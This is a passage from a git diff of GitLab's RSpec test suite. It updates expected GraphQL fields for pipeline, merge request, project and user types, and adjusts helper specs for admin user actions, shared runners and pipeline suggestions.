context 'falsey feature_flag values' do
@@ -164,7 +164,7 @@ RSpec.describe Types::BaseField do
with_them do
it 'returns the correct description' do
- expect(field.description).to eq('Test description')
+ expect(field.description).to eq('Test description.')
end
end
end
@@ -181,11 +181,11 @@ RSpec.describe Types::BaseField do
it 'interacts well with the `feature_flag` property' do
field = subject(
deprecated: { milestone: '1.10', reason: 'Deprecation reason' },
- description: 'Field description',
+ description: 'Field description.',
feature_flag: 'foo_flag'
)
- expectation = 'Field description. Available only when feature flag `foo_flag` is enabled. Deprecated in 1.10: Deprecation reason'
+ expectation = 'Field description. Available only when feature flag `foo_flag` is enabled. Deprecated in 1.10: Deprecation reason.'
expect(field.description).to eq(expectation)
end
diff --git a/spec/graphql/types/ci/analytics_type_spec.rb b/spec/graphql/types/ci/analytics_type_spec.rb
new file mode 100644
index 00000000000..c8462d40769
--- /dev/null
+++ b/spec/graphql/types/ci/analytics_type_spec.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::AnalyticsType do
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ weekPipelinesTotals
+ weekPipelinesLabels
+ weekPipelinesSuccessful
+ monthPipelinesLabels
+ monthPipelinesTotals
+ monthPipelinesSuccessful
+ yearPipelinesLabels
+ yearPipelinesTotals
+ yearPipelinesSuccessful
+ pipelineTimesLabels
+ pipelineTimesValues
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/config/config_type_spec.rb b/spec/graphql/types/ci/config/config_type_spec.rb
new file mode 100644
index 00000000000..edd190a4365
--- /dev/null
+++ b/spec/graphql/types/ci/config/config_type_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::Config::ConfigType do
+ specify { expect(described_class.graphql_name).to eq('CiConfig') }
+
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ errors
+ mergedYaml
+ stages
+ status
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/config/group_type_spec.rb b/spec/graphql/types/ci/config/group_type_spec.rb
new file mode 100644
index 00000000000..7d808e85371
--- /dev/null
+++ b/spec/graphql/types/ci/config/group_type_spec.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::Config::GroupType do
+ specify { expect(described_class.graphql_name).to eq('CiConfigGroup') }
+
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ name
+ jobs
+ size
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/config/job_type_spec.rb b/spec/graphql/types/ci/config/job_type_spec.rb
new file mode 100644
index 00000000000..600d665a84b
--- /dev/null
+++ b/spec/graphql/types/ci/config/job_type_spec.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::Config::JobType do
+ specify { expect(described_class.graphql_name).to eq('CiConfigJob') }
+
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ name
+ group_name
+ stage
+ needs
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/config/need_type_spec.rb b/spec/graphql/types/ci/config/need_type_spec.rb
new file mode 100644
index 00000000000..3387049a81d
--- /dev/null
+++ b/spec/graphql/types/ci/config/need_type_spec.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::Config::NeedType do
+ specify { expect(described_class.graphql_name).to eq('CiConfigNeed') }
+
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ name
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/config/stage_type_spec.rb b/spec/graphql/types/ci/config/stage_type_spec.rb
new file mode 100644
index 00000000000..aba97f8c7ed
--- /dev/null
+++ b/spec/graphql/types/ci/config/stage_type_spec.rb
@@ -0,0 +1,16 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::Ci::Config::StageType do
+ specify { expect(described_class.graphql_name).to eq('CiConfigStage') }
+
+ it 'exposes the expected fields' do
+ expected_fields = %i[
+ name
+ groups
+ ]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/job_artifact_file_type_enum_spec.rb b/spec/graphql/types/ci/job_artifact_file_type_enum_spec.rb
new file mode 100644
index 00000000000..78a32595730
--- /dev/null
+++ b/spec/graphql/types/ci/job_artifact_file_type_enum_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['JobArtifactFileType'] do
+ it 'exposes all job artifact file types' do
+ expect(described_class.values.keys).to contain_exactly(
+ *::Ci::JobArtifact::TYPE_AND_FORMAT_PAIRS.keys.map(&:to_s).map(&:upcase)
+ )
+ end
+end
diff --git a/spec/graphql/types/ci/job_artifact_type_spec.rb b/spec/graphql/types/ci/job_artifact_type_spec.rb
new file mode 100644
index 00000000000..d4dc5ef214d
--- /dev/null
+++ b/spec/graphql/types/ci/job_artifact_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['CiJobArtifact'] do
+ it 'has the correct fields' do
+ expected_fields = [:download_path, :file_type]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/ci/job_type_spec.rb b/spec/graphql/types/ci/job_type_spec.rb
index 3dcb81eefbf..441a719df8c 100644
--- a/spec/graphql/types/ci/job_type_spec.rb
+++ b/spec/graphql/types/ci/job_type_spec.rb
@@ -12,6 +12,7 @@ RSpec.describe Types::Ci::JobType do
needs
detailedStatus
scheduledAt
+ artifacts
]
expect(described_class).to have_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/ci/pipeline_type_spec.rb b/spec/graphql/types/ci/pipeline_type_spec.rb
index f13f1c9afb2..d435e337ad7 100644
--- a/spec/graphql/types/ci/pipeline_type_spec.rb
+++ b/spec/graphql/types/ci/pipeline_type_spec.rb
@@ -6,4 +6,19 @@ RSpec.describe Types::Ci::PipelineType do
specify { expect(described_class.graphql_name).to eq('Pipeline') }
specify { expect(described_class).to expose_permissions_using(Types::PermissionTypes::Ci::Pipeline) }
+
+ it 'contains attributes related to a pipeline' do
+ expected_fields = %w[
+ id iid sha before_sha status detailed_status config_source duration
+ coverage created_at updated_at started_at finished_at committed_at
+ stages user retryable cancelable jobs source_job downstream
+ upstream path project active user_permissions
+ ]
+
+ if Gitlab.ee?
+ expected_fields << 'security_report_summary'
+ end
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
end
diff --git a/spec/graphql/types/commit_type_spec.rb b/spec/graphql/types/commit_type_spec.rb
index e9bc7f6bb94..b43693e5804 100644
--- a/spec/graphql/types/commit_type_spec.rb
+++ b/spec/graphql/types/commit_type_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe GitlabSchema.types['Commit'] do
it 'contains attributes related to commit' do
expect(described_class).to have_graphql_fields(
- :id, :sha, :title, :description, :description_html, :message, :title_html, :authored_date,
+ :id, :sha, :short_id, :title, :description, :description_html, :message, :title_html, :authored_date,
:author_name, :author_gravatar, :author, :web_url, :web_path,
:pipelines, :signature_html
)
diff --git a/spec/graphql/types/container_repository_details_type_spec.rb b/spec/graphql/types/container_repository_details_type_spec.rb
index b5ff460fcf7..45f6449d8c8 100644
--- a/spec/graphql/types/container_repository_details_type_spec.rb
+++ b/spec/graphql/types/container_repository_details_type_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['ContainerRepositoryDetails'] do
- fields = %i[id name path location created_at updated_at expiration_policy_started_at status tags_count can_delete expiration_policy_cleanup_status tags]
+ fields = %i[id name path location created_at updated_at expiration_policy_started_at status tags_count can_delete expiration_policy_cleanup_status tags project]
it { expect(described_class.graphql_name).to eq('ContainerRepositoryDetails') }
diff --git a/spec/graphql/types/container_repository_type_spec.rb b/spec/graphql/types/container_repository_type_spec.rb
index 3d3445ba5c3..87e1c11ce19 100644
--- a/spec/graphql/types/container_repository_type_spec.rb
+++ b/spec/graphql/types/container_repository_type_spec.rb
@@ -3,7 +3,7 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['ContainerRepository'] do
- fields = %i[id name path location created_at updated_at expiration_policy_started_at status tags_count can_delete expiration_policy_cleanup_status]
+ fields = %i[id name path location created_at updated_at expiration_policy_started_at status tags_count can_delete expiration_policy_cleanup_status project]
it { expect(described_class.graphql_name).to eq('ContainerRepository') }
diff --git a/spec/graphql/types/countable_connection_type_spec.rb b/spec/graphql/types/countable_connection_type_spec.rb
index 3b3c02baa5d..648dbacff42 100644
--- a/spec/graphql/types/countable_connection_type_spec.rb
+++ b/spec/graphql/types/countable_connection_type_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe GitlabSchema.types['MergeRequestConnection'] do
+RSpec.describe GitlabSchema.types['PipelineConnection'] do
it 'has the expected fields' do
expected_fields = %i[count page_info edges nodes]
diff --git a/spec/graphql/types/group_member_relation_enum_spec.rb b/spec/graphql/types/group_member_relation_enum_spec.rb
new file mode 100644
index 00000000000..315809ef75e
--- /dev/null
+++ b/spec/graphql/types/group_member_relation_enum_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::GroupMemberRelationEnum do
+ specify { expect(described_class.graphql_name).to eq('GroupMemberRelation') }
+
+ it 'exposes all the existing group member relation type values' do
+ expect(described_class.values.keys).to contain_exactly('DIRECT', 'INHERITED', 'DESCENDANTS')
+ end
+end
diff --git a/spec/graphql/types/group_type_spec.rb b/spec/graphql/types/group_type_spec.rb
index 7d14ef87551..de19e8b602a 100644
--- a/spec/graphql/types/group_type_spec.rb
+++ b/spec/graphql/types/group_type_spec.rb
@@ -17,7 +17,7 @@ RSpec.describe GitlabSchema.types['Group'] do
subgroup_creation_level require_two_factor_authentication
two_factor_grace_period auto_devops_enabled emails_disabled
mentions_disabled parent boards milestones group_members
- merge_requests
+ merge_requests container_repositories container_repositories_count
]
expect(described_class).to include_graphql_fields(*expected_fields)
diff --git a/spec/graphql/types/merge_request_connection_type_spec.rb b/spec/graphql/types/merge_request_connection_type_spec.rb
new file mode 100644
index 00000000000..f4ab6c79721
--- /dev/null
+++ b/spec/graphql/types/merge_request_connection_type_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe GitlabSchema.types['MergeRequestConnection'] do
+ it 'has the expected fields' do
+ expected_fields = %i[count totalTimeToMerge page_info edges nodes]
+
+ expect(described_class).to have_graphql_fields(*expected_fields)
+ end
+end
diff --git a/spec/graphql/types/merge_request_type_spec.rb b/spec/graphql/types/merge_request_type_spec.rb
index 8800250b103..51e7b4029d5 100644
--- a/spec/graphql/types/merge_request_type_spec.rb
+++ b/spec/graphql/types/merge_request_type_spec.rb
@@ -27,18 +27,27 @@ RSpec.describe GitlabSchema.types['MergeRequest'] do
upvotes downvotes head_pipeline pipelines task_completion_status
milestone assignees participants subscribed labels discussion_locked time_estimate
total_time_spent reference author merged_at commit_count current_user_todos
- conflicts auto_merge_enabled approved_by
+ conflicts auto_merge_enabled approved_by source_branch_protected
+ default_merge_commit_message_with_description squash_on_merge available_auto_merge_strategies
+ has_ci mergeable commits_without_merge_commits security_auto_fix
]
if Gitlab.ee?
expected_fields << 'approved'
expected_fields << 'approvals_left'
expected_fields << 'approvals_required'
+ expected_fields << 'merge_trains_count'
end
expect(described_class).to have_graphql_fields(*expected_fields)
end
+ describe '#pipelines' do
+ subject { described_class.fields['pipelines'] }
+
+ it { is_expected.to have_attributes(max_page_size: 500) }
+ end
+
describe '#diff_stats_summary' do
subject { GitlabSchema.execute(query, context: { current_user: current_user }).as_json }
diff --git a/spec/graphql/types/permission_types/base_permission_type_spec.rb b/spec/graphql/types/permission_types/base_permission_type_spec.rb
index 2ce02f1520c..68632a509ee 100644
--- a/spec/graphql/types/permission_types/base_permission_type_spec.rb
+++ b/spec/graphql/types/permission_types/base_permission_type_spec.rb
@@ -11,9 +11,13 @@ RSpec.describe Types::PermissionTypes::BasePermissionType do
Class.new(described_class) do
graphql_name 'TestClass'
- permission_field :do_stuff, resolve: -> (_, _, _) { true }
+ permission_field :do_stuff
ability_field(:read_issue)
abilities :admin_issue
+
+ define_method :do_stuff do
+ true
+ end
end
end
diff --git a/spec/graphql/types/project_member_relation_enum_spec.rb b/spec/graphql/types/project_member_relation_enum_spec.rb
new file mode 100644
index 00000000000..3c947bf8406
--- /dev/null
+++ b/spec/graphql/types/project_member_relation_enum_spec.rb
@@ -0,0 +1,11 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Types::ProjectMemberRelationEnum do
+ specify { expect(described_class.graphql_name).to eq('ProjectMemberRelation') }
+
+ it 'exposes all the existing project member relation type values' do
+ expect(described_class.values.keys).to contain_exactly('DIRECT', 'INHERITED', 'DESCENDANTS', 'INVITED_GROUPS')
+ end
+end
diff --git a/spec/graphql/types/project_type_spec.rb b/spec/graphql/types/project_type_spec.rb
index be579e92fb3..b3028e034cc 100644
--- a/spec/graphql/types/project_type_spec.rb
+++ b/spec/graphql/types/project_type_spec.rb
@@ -3,6 +3,8 @@
require 'spec_helper'
RSpec.describe GitlabSchema.types['Project'] do
+ include GraphqlHelpers
+
specify { expect(described_class).to expose_permissions_using(Types::PermissionTypes::Project) }
specify { expect(described_class.graphql_name).to eq('Project') }
@@ -28,7 +30,8 @@ RSpec.describe GitlabSchema.types['Project'] do
alert_management_alerts alert_management_alert alert_management_alert_status_counts
container_expiration_policy service_desk_enabled service_desk_address
issue_status_counts terraform_states alert_management_integrations
-
+ container_repositories container_repositories_count
+ pipeline_analytics total_pipeline_duration squash_read_only
]
expect(described_class).to include_graphql_fields(*expected_fields)
@@ -76,6 +79,7 @@ RSpec.describe GitlabSchema.types['Project'] do
:merged_before,
:author_username,
:assignee_username,
+ :reviewer_username,
:milestone_title,
:sort
)
@@ -163,4 +167,32 @@ RSpec.describe GitlabSchema.types['Project'] do
end
it_behaves_like 'a GraphQL type with labels'
+
+ describe 'jira_imports' do
+ subject { resolve_field(:jira_imports, project) }
+
+ let_it_be(:project) { create(:project, :public) }
+
+ context 'when project has Jira imports' do
+ let_it_be(:jira_import1) { create(:jira_import_state, :finished, project: project, jira_project_key: 'AA', created_at: 2.days.ago) }
+ let_it_be(:jira_import2) { create(:jira_import_state, :finished, project: project, jira_project_key: 'BB', created_at: 5.days.ago) }
+
+ it 'retrieves the imports' do
+ expect(subject).to contain_exactly(jira_import1, jira_import2)
+ end
+ end
+
+ context 'when project does not have Jira imports' do
+ it 'returns an empty result' do
+ expect(subject).to be_empty
+ end
+ end
+ end
+
+ describe 'pipeline_analytics field' do
+ subject { described_class.fields['pipelineAnalytics'] }
+
+ it { is_expected.to have_graphql_type(Types::Ci::AnalyticsType) }
+ it { is_expected.to have_graphql_resolver(Resolvers::ProjectPipelineStatisticsResolver) }
+ end
end
diff --git a/spec/graphql/types/terraform/state_version_type_spec.rb b/spec/graphql/types/terraform/state_version_type_spec.rb
index 1c1e95039dc..18f869e4f1f 100644
--- a/spec/graphql/types/terraform/state_version_type_spec.rb
+++ b/spec/graphql/types/terraform/state_version_type_spec.rb
@@ -7,13 +7,15 @@ RSpec.describe GitlabSchema.types['TerraformStateVersion'] do
it { expect(described_class).to require_graphql_authorizations(:read_terraform_state) }
describe 'fields' do
- let(:fields) { %i[id created_by_user job created_at updated_at] }
+ let(:fields) { %i[id created_by_user job download_path serial created_at updated_at] }
it { expect(described_class).to have_graphql_fields(fields) }
it { expect(described_class.fields['id'].type).to be_non_null }
it { expect(described_class.fields['createdByUser'].type).not_to be_non_null }
it { expect(described_class.fields['job'].type).not_to be_non_null }
+ it { expect(described_class.fields['downloadPath'].type).not_to be_non_null }
+ it { expect(described_class.fields['serial'].type).not_to be_non_null }
it { expect(described_class.fields['createdAt'].type).to be_non_null }
it { expect(described_class.fields['updatedAt'].type).to be_non_null }
end
diff --git a/spec/graphql/types/user_type_spec.rb b/spec/graphql/types/user_type_spec.rb
index c8953d9ccb7..0eff33bb25b 100644
--- a/spec/graphql/types/user_type_spec.rb
+++ b/spec/graphql/types/user_type_spec.rb
@@ -15,14 +15,17 @@ RSpec.describe GitlabSchema.types['User'] do
name
username
email
+ publicEmail
avatarUrl
webUrl
webPath
todos
state
status
+ location
authoredMergeRequests
assignedMergeRequests
+ reviewRequestedMergeRequests
groupMemberships
groupCount
projectMemberships
diff --git a/spec/helpers/admin/user_actions_helper_spec.rb b/spec/helpers/admin/user_actions_helper_spec.rb
new file mode 100644
index 00000000000..7ccd9a4fe3e
--- /dev/null
+++ b/spec/helpers/admin/user_actions_helper_spec.rb
@@ -0,0 +1,105 @@
+# frozen_string_literal: true
+
+require "spec_helper"
+
+RSpec.describe Admin::UserActionsHelper do
+ describe '#admin_actions' do
+ let_it_be(:current_user) { build(:user) }
+
+ subject { helper.admin_actions(user) }
+
+ before do
+ allow(helper).to receive(:current_user).and_return(current_user)
+ allow(helper).to receive(:can?).with(current_user, :destroy_user, user).and_return(true)
+ end
+
+ context 'the user is a bot' do
+ let_it_be(:user) { build(:user, :bot) }
+
+ it { is_expected.to be_empty }
+ end
+
+ context 'the current user and user are the same' do
+ let_it_be(:user) { build(:user) }
+ let_it_be(:current_user) { user }
+
+ it { is_expected.to contain_exactly("edit") }
+ end
+
+ context 'the user is a standard user' do
+ let_it_be(:user) { create(:user) }
+
+ it { is_expected.to contain_exactly("edit", "block", "deactivate", "delete", "delete_with_contributions") }
+ end
+
+ context 'the user is an admin user' do
+ let_it_be(:user) { create(:user, :admin) }
+
+ it { is_expected.to contain_exactly("edit", "block", "deactivate", "delete", "delete_with_contributions") }
+ end
+
+ context 'the user is blocked by LDAP' do
+ let_it_be(:user) { create(:omniauth_user, :ldap_blocked) }
+
+ it { is_expected.to contain_exactly("edit", "ldap", "delete", "delete_with_contributions") }
+ end
+
+ context 'the user is blocked pending approval' do
+ let_it_be(:user) { create(:user, :blocked_pending_approval) }
+
+ it { is_expected.to contain_exactly("edit", "approve", "reject") }
+ end
+
+ context 'the user is blocked' do
+ let_it_be(:user) { create(:user, :blocked) }
+
+ it { is_expected.to contain_exactly("edit", "unblock", "delete", "delete_with_contributions") }
+ end
+
+ context 'the user is deactivated' do
+ let_it_be(:user) { create(:user, :deactivated) }
+
+ it { is_expected.to contain_exactly("edit", "block", "activate", "delete", "delete_with_contributions") }
+ end
+
+ context 'the user is locked' do
+ let_it_be(:user) { create(:user) }
+
+ before do
+ user.lock_access!
+ end
+
+ it {
+ is_expected.to contain_exactly(
+ "edit",
+ "block",
+ "deactivate",
+ "unlock",
+ "delete",
+ "delete_with_contributions"
+ )
+ }
+ end
+
+ context 'the current_user does not have permission to delete the user' do
+ let_it_be(:user) { build(:user) }
+
+ before do
+ allow(helper).to receive(:can?).with(current_user, :destroy_user, user).and_return(false)
+ end
+
+ it { is_expected.to contain_exactly("edit", "block", "deactivate") }
+ end
+
+ context 'the user is a sole owner of a group' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+
+ before do
+ group.add_owner(user)
+ end
+
+ it { is_expected.to contain_exactly("edit", "block", "deactivate") }
+ end
+ end
+end
diff --git a/spec/helpers/application_helper_spec.rb b/spec/helpers/application_helper_spec.rb
index a557e9e04da..c7470f31ad8 100644
--- a/spec/helpers/application_helper_spec.rb
+++ b/spec/helpers/application_helper_spec.rb
@@ -116,9 +116,9 @@ RSpec.describe ApplicationHelper do
Time.use_zone('UTC') { example.run }
end
- def element(*arguments)
+ def element(**arguments)
@time = Time.zone.parse('2015-07-02 08:23')
- element = helper.time_ago_with_tooltip(@time, *arguments)
+ element = helper.time_ago_with_tooltip(@time, **arguments)
Nokogiri::HTML::DocumentFragment.parse(element).first_element_child
end
diff --git a/spec/helpers/auth_helper_spec.rb b/spec/helpers/auth_helper_spec.rb
index b4cea7fb695..00c4a1880de 100644
--- a/spec/helpers/auth_helper_spec.rb
+++ b/spec/helpers/auth_helper_spec.rb
@@ -99,6 +99,22 @@ RSpec.describe AuthHelper do
end
end
+ describe 'experiment_enabled_button_based_providers' do
+ it 'returns the intersection set of github & google_oauth2 with enabled providers' do
+ allow(helper).to receive(:enabled_button_based_providers) { %w(twitter github google_oauth2) }
+
+ expect(helper.experiment_enabled_button_based_providers).to eq(%w(github google_oauth2))
+
+ allow(helper).to receive(:enabled_button_based_providers) { %w(google_oauth2 bitbucket) }
+
+ expect(helper.experiment_enabled_button_based_providers).to eq(%w(google_oauth2))
+
+ allow(helper).to receive(:enabled_button_based_providers) { %w(bitbucket) }
+
+ expect(helper.experiment_enabled_button_based_providers).to be_empty
+ end
+ end
+
describe 'button_based_providers_enabled?' do
before do
allow(helper).to receive(:auth_providers) { [:twitter, :github] }
diff --git a/spec/helpers/blob_helper_spec.rb b/spec/helpers/blob_helper_spec.rb
index cafe4c4275e..764c582e987 100644
--- a/spec/helpers/blob_helper_spec.rb
+++ b/spec/helpers/blob_helper_spec.rb
@@ -236,53 +236,41 @@ RSpec.describe BlobHelper do
let(:data) { File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml')) }
let(:blob) { fake_blob(path: Gitlab::FileDetector::PATTERNS[:gitlab_ci], data: data) }
- context 'feature enabled' do
- it 'is true' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_truthy
- end
+ it 'is true' do
+ expect(helper.show_suggest_pipeline_creation_celebration?).to be_truthy
+ end
- context 'file is invalid format' do
- let(:data) { 'foo' }
+ context 'file is invalid format' do
+ let(:data) { 'foo' }
- it 'is false' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
- end
+ it 'is false' do
+ expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
end
+ end
- context 'does not use the default ci config' do
- before do
- project.ci_config_path = 'something_bad'
- end
-
- it 'is false' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
- end
+ context 'does not use the default ci config' do
+ before do
+ project.ci_config_path = 'something_bad'
end
- context 'does not have the needed cookie' do
- before do
- helper.request.cookies.delete "suggest_gitlab_ci_yml_commit_#{project.id}"
- end
-
- it 'is false' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
- end
+ it 'is false' do
+ expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
end
+ end
- context 'blob does not have auxiliary view' do
- before do
- allow(blob).to receive(:auxiliary_viewer).and_return(nil)
- end
+ context 'does not have the needed cookie' do
+ before do
+ helper.request.cookies.delete "suggest_gitlab_ci_yml_commit_#{project.id}"
+ end
- it 'is false' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
- end
+ it 'is false' do
+ expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
end
end
- context 'feature disabled' do
+ context 'blob does not have auxiliary view' do
before do
- stub_feature_flags(suggest_pipeline: false)
+ allow(blob).to receive(:auxiliary_viewer).and_return(nil)
end
it 'is false' do
@@ -294,10 +282,8 @@ RSpec.describe BlobHelper do
context 'when file is not a pipeline config file' do
let(:blob) { fake_blob(path: 'LICENSE') }
- context 'feature enabled' do
- it 'is false' do
- expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
- end
+ it 'is false' do
+ expect(helper.show_suggest_pipeline_creation_celebration?).to be_falsey
end
end
end
diff --git a/spec/helpers/button_helper_spec.rb b/spec/helpers/button_helper_spec.rb
index 6a5cb73281e..ecb9c98b1bf 100644
--- a/spec/helpers/button_helper_spec.rb
+++ b/spec/helpers/button_helper_spec.rb
@@ -89,7 +89,7 @@ RSpec.describe ButtonHelper do
it 'shows a warning on the dropdown description' do
description = element.search('.dropdown-menu-inner-content').first
- expect(description.inner_text).to eq "You won't be able to pull or push project code via SSH until you add an SSH key to your profile"
+ expect(description.inner_text).to eq "You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
end
end
diff --git a/spec/helpers/calendar_helper_spec.rb b/spec/helpers/calendar_helper_spec.rb
index ceed4191ef4..08993dd1dd0 100644
--- a/spec/helpers/calendar_helper_spec.rb
+++ b/spec/helpers/calendar_helper_spec.rb
@@ -18,5 +18,14 @@ RSpec.describe CalendarHelper do
expect(helper.calendar_url_options[:feed_token]).to be_nil
end
end
+
+ context 'when feed token disabled' do
+ it "does not have a feed_token" do
+ current_user = create(:user)
+ allow(helper).to receive(:current_user).and_return(current_user)
+ allow(Gitlab::CurrentSettings).to receive(:disable_feed_token).and_return(true)
+ expect(helper.calendar_url_options[:feed_token]).to be_nil
+ end
+ end
end
end
diff --git a/spec/helpers/ci/pipeline_schedules_helper_spec.rb b/spec/helpers/ci/pipeline_schedules_helper_spec.rb
deleted file mode 100644
index 2a81c2a44a0..00000000000
--- a/spec/helpers/ci/pipeline_schedules_helper_spec.rb
+++ /dev/null
@@ -1,24 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::PipelineSchedulesHelper, :aggregate_failures do
- describe '#timezone_data' do
- subject { helper.timezone_data }
-
- it 'matches schema' do
- expect(subject).not_to be_empty
- subject.each_with_index do |timzone_hash, i|
- expect(timzone_hash.keys).to contain_exactly(:name, :offset, :identifier), "Failed at index #{i}"
- end
- end
-
- it 'formats for display' do
- first_timezone = ActiveSupport::TimeZone.all[0]
-
- expect(subject[0][:name]).to eq(first_timezone.name)
- expect(subject[0][:offset]).to eq(first_timezone.now.utc_offset)
- expect(subject[0][:identifier]).to eq(first_timezone.tzinfo.identifier)
- end
- end
-end
diff --git a/spec/helpers/ci/runners_helper_spec.rb b/spec/helpers/ci/runners_helper_spec.rb
index 38caae91ef2..6e41afac4ee 100644
--- a/spec/helpers/ci/runners_helper_spec.rb
+++ b/spec/helpers/ci/runners_helper_spec.rb
@@ -74,4 +74,57 @@ RSpec.describe Ci::RunnersHelper do
expect(data[:parent_shared_runners_availability]).to eq('enabled')
end
end
+
+ describe '#toggle_shared_runners_settings_data' do
+ let_it_be(:group) { create(:group) }
+ let(:project_with_runners) { create(:project, namespace: group, shared_runners_enabled: true) }
+ let(:project_without_runners) { create(:project, namespace: group, shared_runners_enabled: false) }
+
+ context 'when project has runners' do
+ it 'returns the correct value for is_enabled' do
+ data = toggle_shared_runners_settings_data(project_with_runners)
+ expect(data[:is_enabled]).to eq("true")
+ end
+ end
+
+ context 'when project does not have runners' do
+ it 'returns the correct value for is_enabled' do
+ data = toggle_shared_runners_settings_data(project_without_runners)
+ expect(data[:is_enabled]).to eq("false")
+ end
+ end
+
+ context 'for all projects' do
+ it 'returns the update path for toggling the shared runners setting' do
+ data = toggle_shared_runners_settings_data(project_with_runners)
+ expect(data[:update_path]).to eq(toggle_shared_runners_project_runners_path(project_with_runners))
+ end
+
+ it 'returns false for is_disabled_and_unoverridable when project has no group' do
+ project = create(:project)
+
+ data = toggle_shared_runners_settings_data(project)
+ expect(data[:is_disabled_and_unoverridable]).to eq("false")
+ end
+
+ using RSpec::Parameterized::TableSyntax
+
+ where(:shared_runners_setting, :is_disabled_and_unoverridable) do
+ 'enabled' | "false"
+ 'disabled_with_override' | "false"
+ 'disabled_and_unoverridable' | "true"
+ end
+
+ with_them do
+ it 'returns the override runner status for project with group' do
+ group = create(:group)
+ project = create(:project, group: group)
+ allow(group).to receive(:shared_runners_setting).and_return(shared_runners_setting)
+
+ data = toggle_shared_runners_settings_data(project)
+ expect(data[:is_disabled_and_unoverridable]).to eq(is_disabled_and_unoverridable)
+ end
+ end
+ end
+ end
end
diff --git a/spec/helpers/clusters_helper_spec.rb b/spec/helpers/clusters_helper_spec.rb
index 6b08b6515cf..8c738141063 100644
--- a/spec/helpers/clusters_helper_spec.rb
+++ b/spec/helpers/clusters_helper_spec.rb
@@ -131,7 +131,7 @@ RSpec.describe ClustersHelper do
context 'other values' do
let(:cluster_type) { 'not_supported' }
- it 'Diplays generic cluster and reports error' do
+ it 'diplays generic cluster and reports error' do
expect(Gitlab::ErrorTracking).to receive(:track_and_raise_for_dev_exception).with(
an_instance_of(ArgumentError),
cluster_error: { error: 'Cluster Type Missing', cluster_type: 'not_supported' }
diff --git a/spec/helpers/defer_script_tag_helper_spec.rb b/spec/helpers/defer_script_tag_helper_spec.rb
deleted file mode 100644
index 14317e353ab..00000000000
--- a/spec/helpers/defer_script_tag_helper_spec.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe DeferScriptTagHelper do
- describe 'script tag' do
- script_url = 'test.js'
-
- it 'returns an script tag with defer=true' do
- expect(javascript_include_tag(script_url).to_s)
- .to eq "<script src=\"/javascripts/#{script_url}\" defer=\"defer\"></script>"
- end
- end
-end
diff --git a/spec/helpers/diff_helper_spec.rb b/spec/helpers/diff_helper_spec.rb
index c085c3bdbd9..3580959fde0 100644
--- a/spec/helpers/diff_helper_spec.rb
+++ b/spec/helpers/diff_helper_spec.rb
@@ -358,30 +358,4 @@ RSpec.describe DiffHelper do
expect(diff_file_path_text(diff_file, max: 10)).to eq("...open.rb")
end
end
-
- describe 'unified_diff_lines_view_type' do
- before do
- controller.params[:view] = 'parallel'
- end
-
- describe 'unified diffs enabled' do
- before do
- stub_feature_flags(unified_diff_lines: true)
- end
-
- it 'returns inline view' do
- expect(helper.unified_diff_lines_view_type(project)).to eq 'inline'
- end
- end
-
- describe 'unified diffs disabled' do
